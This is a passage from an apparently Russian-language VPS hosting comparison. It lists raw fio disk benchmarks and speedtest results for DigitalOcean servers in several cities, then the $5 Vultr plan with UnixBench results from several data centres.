IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=2214468/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=8650.3MB, aggrb=147628KB/s, minb=147628KB/s, maxb=147628KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
vda: ios=2002054/8, merge=0/6, ticks=374052/0, in_queue=373720, util=97.53%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=8088: Wed Dec 4 13:42:12 2019
write: io=29272MB, bw=499455KB/s, iops=124863, runt= 60014msec
clat (usec): min=1, max=365561, avg=44.38, stdev=1109.33
lat (usec): min=2, max=365726, avg=47.80, stdev=1149.56
clat percentiles (usec):
| 1.00th=[ 2], 5.00th=[ 2], 10.00th=[ 3], 20.00th=[ 3],
| 30.00th=[ 3], 40.00th=[ 3], 50.00th=[ 3], 60.00th=[ 3],
| 70.00th=[ 3], 80.00th=[ 3], 90.00th=[ 4], 95.00th=[ 4],
| 99.00th=[ 10], 99.50th=[ 44], 99.90th=[14400], 99.95th=[19072],
| 99.99th=[32128]
bw (KB /s): min= 0, max=80828, per=12.91%, avg=64495.24, stdev=14149.46
lat (usec) : 2=0.01%, 4=80.00%, 10=18.95%, 20=0.40%, 50=0.16%
lat (usec) : 100=0.12%, 250=0.03%, 500=0.01%, 750=0.01%, 1000=0.01%
lat (msec) : 2=0.01%, 4=0.03%, 10=0.11%, 20=0.13%, 50=0.04%
lat (msec) : 100=0.01%, 250=0.01%, 500=0.01%
cpu : usr=3.87%, sys=6.39%, ctx=59719, majf=0, minf=75
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=7493570/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=29272MB, aggrb=499454KB/s, minb=499454KB/s, maxb=499454KB/s, mint=60014msec, maxt=60014msec
Disk stats (read/write):
vda: ios=654/652218, merge=0/6105, ticks=1156/6405124, in_queue=6406188, util=97.12%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=8064: Wed Dec 4 13:41:11 2019
read : io=8391.1MB, bw=143220KB/s, iops=35804, runt= 60001msec
clat (usec): min=70, max=14982, avg=218.74, stdev=90.67
lat (usec): min=71, max=14983, avg=219.51, stdev=90.78
clat percentiles (usec):
| 1.00th=[ 141], 5.00th=[ 157], 10.00th=[ 165], 20.00th=[ 175],
| 30.00th=[ 183], 40.00th=[ 191], 50.00th=[ 201], 60.00th=[ 211],
| 70.00th=[ 225], 80.00th=[ 247], 90.00th=[ 290], 95.00th=[ 338],
| 99.00th=[ 474], 99.50th=[ 564], 99.90th=[ 1064], 99.95th=[ 1352],
| 99.99th=[ 3056]
bw (KB /s): min=15832, max=19784, per=12.50%, avg=17904.29, stdev=655.80
lat (usec) : 100=0.06%, 250=80.95%, 500=18.20%, 750=0.59%, 1000=0.09%
lat (msec) : 2=0.09%, 4=0.02%, 10=0.01%, 20=0.01%
cpu : usr=2.32%, sys=5.26%, ctx=2152129, majf=0, minf=80
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=2148329/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=8391.1MB, aggrb=143219KB/s, minb=143219KB/s, maxb=143219KB/s, mint=60001msec, maxt=60001msec
Disk stats (read/write):
vda: ios=2145398/17, merge=0/11, ticks=392640/0, in_queue=392288, util=99.31%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=8107: Wed Dec 4 13:43:12 2019
write: io=340360KB, bw=5672.5KB/s, iops=1418, runt= 60007msec
clat (usec): min=269, max=229762, avg=5632.93, stdev=22773.91
lat (usec): min=270, max=229763, avg=5634.26, stdev=22773.96
clat percentiles (usec):
| 1.00th=[ 314], 5.00th=[ 354], 10.00th=[ 402], 20.00th=[ 466],
| 30.00th=[ 502], 40.00th=[ 540], 50.00th=[ 580], 60.00th=[ 660],
| 70.00th=[ 820], 80.00th=[ 988], 90.00th=[ 1240], 95.00th=[ 2448],
| 99.00th=[115200], 99.50th=[121344], 99.90th=[140288], 99.95th=[162816],
| 99.99th=[220160]
bw (KB /s): min= 155, max= 1314, per=12.53%, avg=710.70, stdev=210.32
lat (usec) : 500=29.48%, 750=35.93%, 1000=14.99%
lat (msec) : 2=14.39%, 4=0.50%, 10=0.11%, 20=0.02%, 50=0.01%
lat (msec) : 100=1.05%, 250=3.52%
cpu : usr=0.23%, sys=0.85%, ctx=174273, majf=0, minf=65
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=85090/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=340360KB, aggrb=5672KB/s, minb=5672KB/s, maxb=5672KB/s, mint=60007msec, maxt=60007msec
Disk stats (read/write):
vda: ios=598/85062, merge=0/2038, ticks=200/55736, in_queue=55928, util=92.53%
```
**fio (США, Сан-Франциско)**Read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=29456: Thu Dec 5 08:01:48 2019
read : io=1303.9MB, bw=22251KB/s, iops=5562, runt= 60003msec
clat (usec): min=142, max=80183, avg=1420.21, stdev=2913.39
lat (usec): min=142, max=80184, avg=1422.58, stdev=2915.85
clat percentiles (usec):
| 1.00th=[ 213], 5.00th=[ 243], 10.00th=[ 270], 20.00th=[ 338],
| 30.00th=[ 458], 40.00th=[ 572], 50.00th=[ 676], 60.00th=[ 836],
| 70.00th=[ 1048], 80.00th=[ 1496], 90.00th=[ 2736], 95.00th=[ 4832],
| 99.00th=[13888], 99.50th=[19584], 99.90th=[36608], 99.95th=[43776],
| 99.99th=[62720]
bw (KB /s): min= 1008, max= 7440, per=12.52%, avg=2785.28, stdev=1196.35
lat (usec) : 250=6.47%, 500=26.73%, 750=22.17%, 1000=12.54%
lat (msec) : 2=17.74%, 4=8.01%, 10=4.56%, 20=1.31%, 50=0.46%
lat (msec) : 100=0.03%
cpu : usr=1.34%, sys=3.88%, ctx=338517, majf=0, minf=81
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=333779/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=1303.9MB, aggrb=22250KB/s, minb=22250KB/s, maxb=22250KB/s, mint=60003msec, maxt=60003msec
Disk stats (read/write):
vda: ios=333758/8, merge=0/6, ticks=326896/48, in_queue=326612, util=86.22%
```
Write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=29490: Thu Dec 5 08:03:54 2019
write: io=12984MB, bw=221303KB/s, iops=55325, runt= 60079msec
clat (usec): min=2, max=363723, avg=94.71, stdev=2166.04
lat (usec): min=2, max=363724, avg=102.66, stdev=2264.24
clat percentiles (usec):
| 1.00th=[ 3], 5.00th=[ 4], 10.00th=[ 4], 20.00th=[ 4],
| 30.00th=[ 4], 40.00th=[ 4], 50.00th=[ 5], 60.00th=[ 5],
| 70.00th=[ 5], 80.00th=[ 5], 90.00th=[ 6], 95.00th=[ 7],
| 99.00th=[ 19], 99.50th=[ 274], 99.90th=[24192], 99.95th=[32640],
| 99.99th=[82432]
bw (KB /s): min= 0, max=52047, per=13.24%, avg=29293.56, stdev=11137.47
lat (usec) : 4=2.76%, 10=94.87%, 20=1.39%, 50=0.32%, 100=0.06%
lat (usec) : 250=0.09%, 500=0.03%, 750=0.01%, 1000=0.01%
lat (msec) : 2=0.02%, 4=0.03%, 10=0.11%, 20=0.16%, 50=0.12%
lat (msec) : 100=0.01%, 250=0.01%, 500=0.01%
cpu : usr=3.89%, sys=5.30%, ctx=36713, majf=0, minf=75
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=3323911/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=12984MB, aggrb=221302KB/s, minb=221302KB/s, maxb=221302KB/s, mint=60079msec, maxt=60079msec
Disk stats (read/write):
vda: ios=696/369874, merge=0/4081, ticks=1004/5449776, in_queue=5451104, util=93.26%
```
Direct read
```
benchmark: (g=0): rw=randread, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=29473: Thu Dec 5 08:02:53 2019
read : io=1645.1MB, bw=28089KB/s, iops=7022, runt= 60002msec
clat (usec): min=116, max=80577, avg=1125.46, stdev=2401.59
lat (usec): min=117, max=80578, avg=1127.23, stdev=2402.88
clat percentiles (usec):
| 1.00th=[ 201], 5.00th=[ 229], 10.00th=[ 249], 20.00th=[ 290],
| 30.00th=[ 362], 40.00th=[ 466], 50.00th=[ 564], 60.00th=[ 668],
| 70.00th=[ 852], 80.00th=[ 1144], 90.00th=[ 1992], 95.00th=[ 3600],
| 99.00th=[11456], 99.50th=[16768], 99.90th=[30080], 99.95th=[38144],
| 99.99th=[50944]
bw (KB /s): min= 1464, max= 9208, per=12.50%, avg=3510.17, stdev=1352.72
lat (usec) : 250=10.20%, 500=33.01%, 750=21.97%, 1000=10.86%
lat (msec) : 2=14.03%, 4=5.53%, 10=3.17%, 20=0.91%, 50=0.32%
lat (msec) : 100=0.01%
cpu : usr=1.37%, sys=3.08%, ctx=428535, majf=0, minf=74
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=421347/w=0/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
READ: io=1645.1MB, aggrb=28088KB/s, minb=28088KB/s, maxb=28088KB/s, mint=60002msec, maxt=60002msec
Disk stats (read/write):
vda: ios=420438/8, merge=0/7, ticks=371708/188, in_queue=371760, util=92.14%
```
Direct write
```
benchmark: (g=0): rw=randwrite, bs=4K-4K/4K-4K/4K-4K, ioengine=sync, iodepth=32
...
fio-2.8
Starting 8 processes
benchmark: Laying out IO file(s) (1 file(s) / 256MB)
benchmark: (groupid=0, jobs=8): err= 0: pid=29514: Thu Dec 5 08:04:55 2019
write: io=112088KB, bw=1867.3KB/s, iops=466, runt= 60030msec
clat (usec): min=644, max=311332, avg=17114.08, stdev=44927.08
lat (usec): min=645, max=311334, avg=17116.41, stdev=44927.87
clat percentiles (usec):
| 1.00th=[ 716], 5.00th=[ 772], 10.00th=[ 828], 20.00th=[ 980],
| 30.00th=[ 1112], 40.00th=[ 1272], 50.00th=[ 1512], 60.00th=[ 1816],
| 70.00th=[ 2288], 80.00th=[ 3632], 90.00th=[98816], 95.00th=[140288],
| 99.00th=[189440], 99.50th=[207872], 99.90th=[254976], 99.95th=[280576],
| 99.99th=[301056]
bw (KB /s): min= 53, max= 551, per=12.55%, avg=234.27, stdev=83.53
lat (usec) : 750=3.25%, 1000=18.30%
lat (msec) : 2=43.22%, 4=16.58%, 10=6.32%, 20=1.32%, 50=0.39%
lat (msec) : 100=0.67%, 250=9.84%, 500=0.12%
cpu : usr=0.19%, sys=0.70%, ctx=59173, majf=0, minf=58
IO depths : 1=100.0%, 2=0.0%, 4=0.0%, 8=0.0%, 16=0.0%, 32=0.0%, >=64=0.0%
submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0%
issued : total=r=0/w=28022/d=0, short=r=0/w=0/d=0, drop=r=0/w=0/d=0
latency : target=0, window=0, percentile=100.00%, depth=32
Run status group 0 (all jobs):
WRITE: io=112088KB, aggrb=1867KB/s, minb=1867KB/s, maxb=1867KB/s, mint=60030msec, maxt=60030msec
Disk stats (read/write):
vda: ios=631/28086, merge=0/1468, ticks=780/56516, in_queue=57260, util=93.38%
```
**Speedtest (Канада, Торонто)**
```
Retrieving speedtest.net configuration...
Testing from Digital Ocean (159.203.34.131)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by FibreStream (Toronto, ON) [3.45 km]: 2.749 ms
Testing download speed................................................................................
Download: 336.52 Mbit/s
Testing upload speed................................................................................................
Upload: 601.00 Mbit/s
```
**Speedtest (Германия, Франкфурт)**
```
Retrieving speedtest.net configuration...
Testing from Digital Ocean (104.248.45.25)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by fdcservers.net (Frankfurt) [0.89 km]: 1.731 ms
Testing download speed................................................................................
Download: 2537.59 Mbit/s
Testing upload speed................................................................................................
Upload: 2018.71 Mbit/s
```
**Speedtest (Индия, Бангалор)**
```
Retrieving speedtest.net configuration...
Testing from Digital Ocean (139.59.17.112)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by Bharti Airtel Ltd (Bangalore) [1.65 km]: 2.194 ms
Testing download speed................................................................................
Download: 672.15 Mbit/s
Testing upload speed................................................................................................
Upload: 865.85 Mbit/s
```
**Speedtest (Нидерланды, Амстердам)**
```
Retrieving speedtest.net configuration...
Testing from DigitalOcean (188.166.46.233)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by Vancis (Amsterdam) [3.12 km]: 2.61 ms
Testing download speed................................................................................
Download: 290.28 Mbit/s
Testing upload speed................................................................................................
Upload: 874.21 Mbit/s
```
**Speedtest (Сингапур)**
```
Retrieving speedtest.net configuration...
Testing from Digital Ocean (68.183.190.84)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by Viewqwest Pte Ltd (Singapore) [13.00 km]: 2.036 ms
Testing download speed................................................................................
Download: 3591.73 Mbit/s
Testing upload speed................................................................................................
Upload: 1560.91 Mbit/s
```
**Speedtest (Великобритания, Лондон)**
```
Retrieving speedtest.net configuration...
Testing from Digital Ocean (142.93.37.95)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by Iomart (Maidenhead) [3.98 km]: 2.04 ms
Testing download speed................................................................................
Download: 858.28 Mbit/s
Testing upload speed................................................................................................
Upload: 876.08 Mbit/s
```
**Speedtest (США, Нью-Йорк)**
```
Retrieving speedtest.net configuration...
Testing from Digital Ocean (167.71.82.38)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by Interserver, inc (Secaucus, NJ) [8.75 km]: 1.879 ms
Testing download speed................................................................................
Download: 3598.06 Mbit/s
Testing upload speed................................................................................................
Upload: 2021.05 Mbit/s
```
**Speedtest (США, Сан-Франциско)**
```
Retrieving speedtest.net configuration...
Testing from Digital Ocean (138.68.27.151)...
Retrieving speedtest.net server list...
Selecting best server based on ping...
Hosted by Next Level Networks (Santa Clara, CA) [2.25 km]: 3.875 ms
Testing download speed................................................................................
Download: 574.97 Mbit/s
Testing upload speed................................................................................................
Upload: 261.58 Mbit/s
```
### Виртуальный сервер от Vultr:
* тариф Cloud Compute (25 GB SSD / 1x vCPU / 1 GB RAM / 10000 Mbit/s за $5 в месяц);
* дата-центры в Австралии, Великобритании, Германии, Канаде, Нидерландах, Сингапуре, США, Франции, Японии.
#### Тесты:
**Unixbench (Австралия, Сидней)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: vultr.guest: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: Virtual CPU 523cbcdd6ca4 (4788.9 bogomips)
x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET
02:46:36 up 2 min, 1 user, load average: 0.58, 0.19, 0.06; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Mon Dec 16 2019 02:46:36 - 03:14:41
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 25102626.8 lps (10.0 s, 7 samples)
Double-Precision Whetstone 4295.6 MWIPS (9.8 s, 7 samples)
Execl Throughput 4230.2 lps (30.0 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 604499.7 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 169295.0 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 1277011.0 KBps (30.0 s, 2 samples)
Pipe Throughput 959022.0 lps (10.0 s, 7 samples)
Pipe-based Context Switching 140482.6 lps (10.0 s, 7 samples)
Process Creation 9784.3 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 7107.8 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 906.8 lpm (60.0 s, 2 samples)
System Call Overhead 673720.5 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 25102626.8 2151.0
Double-Precision Whetstone 55.0 4295.6 781.0
Execl Throughput 43.0 4230.2 983.8
File Copy 1024 bufsize 2000 maxblocks 3960.0 604499.7 1526.5
File Copy 256 bufsize 500 maxblocks 1655.0 169295.0 1022.9
File Copy 4096 bufsize 8000 maxblocks 5800.0 1277011.0 2201.7
Pipe Throughput 12440.0 959022.0 770.9
Pipe-based Context Switching 4000.0 140482.6 351.2
Process Creation 126.0 9784.3 776.5
Shell Scripts (1 concurrent) 42.4 7107.8 1676.4
Shell Scripts (8 concurrent) 6.0 906.8 1511.4
System Call Overhead 15000.0 673720.5 449.1
========
System Benchmarks Index Score 1025.9
```
**Unixbench (Канада, Торонто)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: vultr.guest: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: Virtual CPU 82d9ed4018dd (5187.8 bogomips)
x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET
02:42:53 up 2 min, 1 user, load average: 0.64, 0.17, 0.06; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Mon Dec 16 2019 02:42:53 - 03:11:00
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 38699273.9 lps (10.0 s, 7 samples)
Double-Precision Whetstone 4619.5 MWIPS (10.2 s, 7 samples)
Execl Throughput 6768.4 lps (30.0 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 705978.4 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 192749.4 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 1751883.6 KBps (30.0 s, 2 samples)
Pipe Throughput 1012385.6 lps (10.0 s, 7 samples)
Pipe-based Context Switching 179610.0 lps (10.0 s, 7 samples)
Process Creation 15081.7 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 10739.0 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 1378.7 lpm (60.0 s, 2 samples)
System Call Overhead 570458.3 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 38699273.9 3316.1
Double-Precision Whetstone 55.0 4619.5 839.9
Execl Throughput 43.0 6768.4 1574.0
File Copy 1024 bufsize 2000 maxblocks 3960.0 705978.4 1782.8
File Copy 256 bufsize 500 maxblocks 1655.0 192749.4 1164.6
File Copy 4096 bufsize 8000 maxblocks 5800.0 1751883.6 3020.5
Pipe Throughput 12440.0 1012385.6 813.8
Pipe-based Context Switching 4000.0 179610.0 449.0
Process Creation 126.0 15081.7 1197.0
Shell Scripts (1 concurrent) 42.4 10739.0 2532.8
Shell Scripts (8 concurrent) 6.0 1378.7 2297.8
System Call Overhead 15000.0 570458.3 380.3
========
System Benchmarks Index Score 1314.5
```
**Unixbench (Германия, Франкфурт)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: vultr.guest: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: Virtual CPU 714389bda930 (4800.0 bogomips)
x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET
23:41:12 up 3 min, 1 user, load average: 0.49, 0.17, 0.06; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Fri Dec 13 2019 23:41:12 - 00:09:21
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 26077546.4 lps (10.0 s, 7 samples)
Double-Precision Whetstone 3561.5 MWIPS (9.9 s, 7 samples)
Execl Throughput 4233.5 lps (30.0 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 495359.7 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 130299.0 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 1347940.9 KBps (30.0 s, 2 samples)
Pipe Throughput 657753.9 lps (10.0 s, 7 samples)
Pipe-based Context Switching 117057.6 lps (10.0 s, 7 samples)
Process Creation 9390.0 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 6618.6 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 870.7 lpm (60.1 s, 2 samples)
System Call Overhead 359105.0 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 26077546.4 2234.6
Double-Precision Whetstone 55.0 3561.5 647.5
Execl Throughput 43.0 4233.5 984.5
File Copy 1024 bufsize 2000 maxblocks 3960.0 495359.7 1250.9
File Copy 256 bufsize 500 maxblocks 1655.0 130299.0 787.3
File Copy 4096 bufsize 8000 maxblocks 5800.0 1347940.9 2324.0
Pipe Throughput 12440.0 657753.9 528.7
Pipe-based Context Switching 4000.0 117057.6 292.6
Process Creation 126.0 9390.0 745.2
Shell Scripts (1 concurrent) 42.4 6618.6 1561.0
Shell Scripts (8 concurrent) 6.0 870.7 1451.2
System Call Overhead 15000.0 359105.0 239.4
========
System Benchmarks Index Score 875.9
```
**Unixbench (Франция, Париж)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: vultr.guest: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: Virtual CPU 523cbcdd6ca4 (4788.9 bogomips)
x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET
12:37:38 up 5 min, 1 user, load average: 0.85, 0.48, 0.21; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Thu Dec 12 2019 12:37:38 - 13:05:33
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 8896034.1 lps (10.0 s, 7 samples)
Double-Precision Whetstone 1762.9 MWIPS (9.5 s, 7 samples)
Execl Throughput 1488.3 lps (30.0 s, 2 samples)
File Copy 1024 bufsize 2000 maxblocks 170322.0 KBps (30.0 s, 2 samples)
File Copy 256 bufsize 500 maxblocks 46997.0 KBps (30.0 s, 2 samples)
File Copy 4096 bufsize 8000 maxblocks 499490.5 KBps (30.0 s, 2 samples)
Pipe Throughput 253632.7 lps (10.0 s, 7 samples)
Pipe-based Context Switching 47089.9 lps (10.0 s, 7 samples)
Process Creation 3571.1 lps (30.0 s, 2 samples)
Shell Scripts (1 concurrent) 2557.8 lpm (60.0 s, 2 samples)
Shell Scripts (8 concurrent) 339.8 lpm (60.1 s, 2 samples)
System Call Overhead 149530.8 lps (10.0 s, 7 samples)
System Benchmarks Index Values BASELINE RESULT INDEX
Dhrystone 2 using register variables 116700.0 8896034.1 762.3
Double-Precision Whetstone 55.0 1762.9 320.5
Execl Throughput 43.0 1488.3 346.1
File Copy 1024 bufsize 2000 maxblocks 3960.0 170322.0 430.1
File Copy 256 bufsize 500 maxblocks 1655.0 46997.0 284.0
File Copy 4096 bufsize 8000 maxblocks 5800.0 499490.5 861.2
Pipe Throughput 12440.0 253632.7 203.9
Pipe-based Context Switching 4000.0 47089.9 117.7
Process Creation 126.0 3571.1 283.4
Shell Scripts (1 concurrent) 42.4 2557.8 603.3
Shell Scripts (8 concurrent) 6.0 339.8 566.3
System Call Overhead 15000.0 149530.8 99.7
========
System Benchmarks Index Score 335.9
```
**Unixbench (Япония, Токио)**
```
BYTE UNIX Benchmarks (Version 5.1.3)
System: vultr.guest: GNU/Linux
OS: GNU/Linux -- 4.9.0-11-amd64 -- #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20)
Machine: x86_64 (unknown)
Language: en_US.utf8 (charmap="UTF-8", collate="UTF-8")
CPU 0: Virtual CPU 523cbcdd6ca4 (4788.9 bogomips)
x86-64, MMX, Physical Address Ext, SYSENTER/SYSEXIT, SYSCALL/SYSRET
07:37:39 up 3 min, 1 user, load average: 0.65, 0.31, 0.12; runlevel 5
------------------------------------------------------------------------
Benchmark Run: Thu Dec 05 2019 07:37:39 - 08:05:44
1 CPU in system; running 1 parallel copy of tests
Dhrystone 2 using register variables 26212655.7 lps (10.0 s, 7 samples)
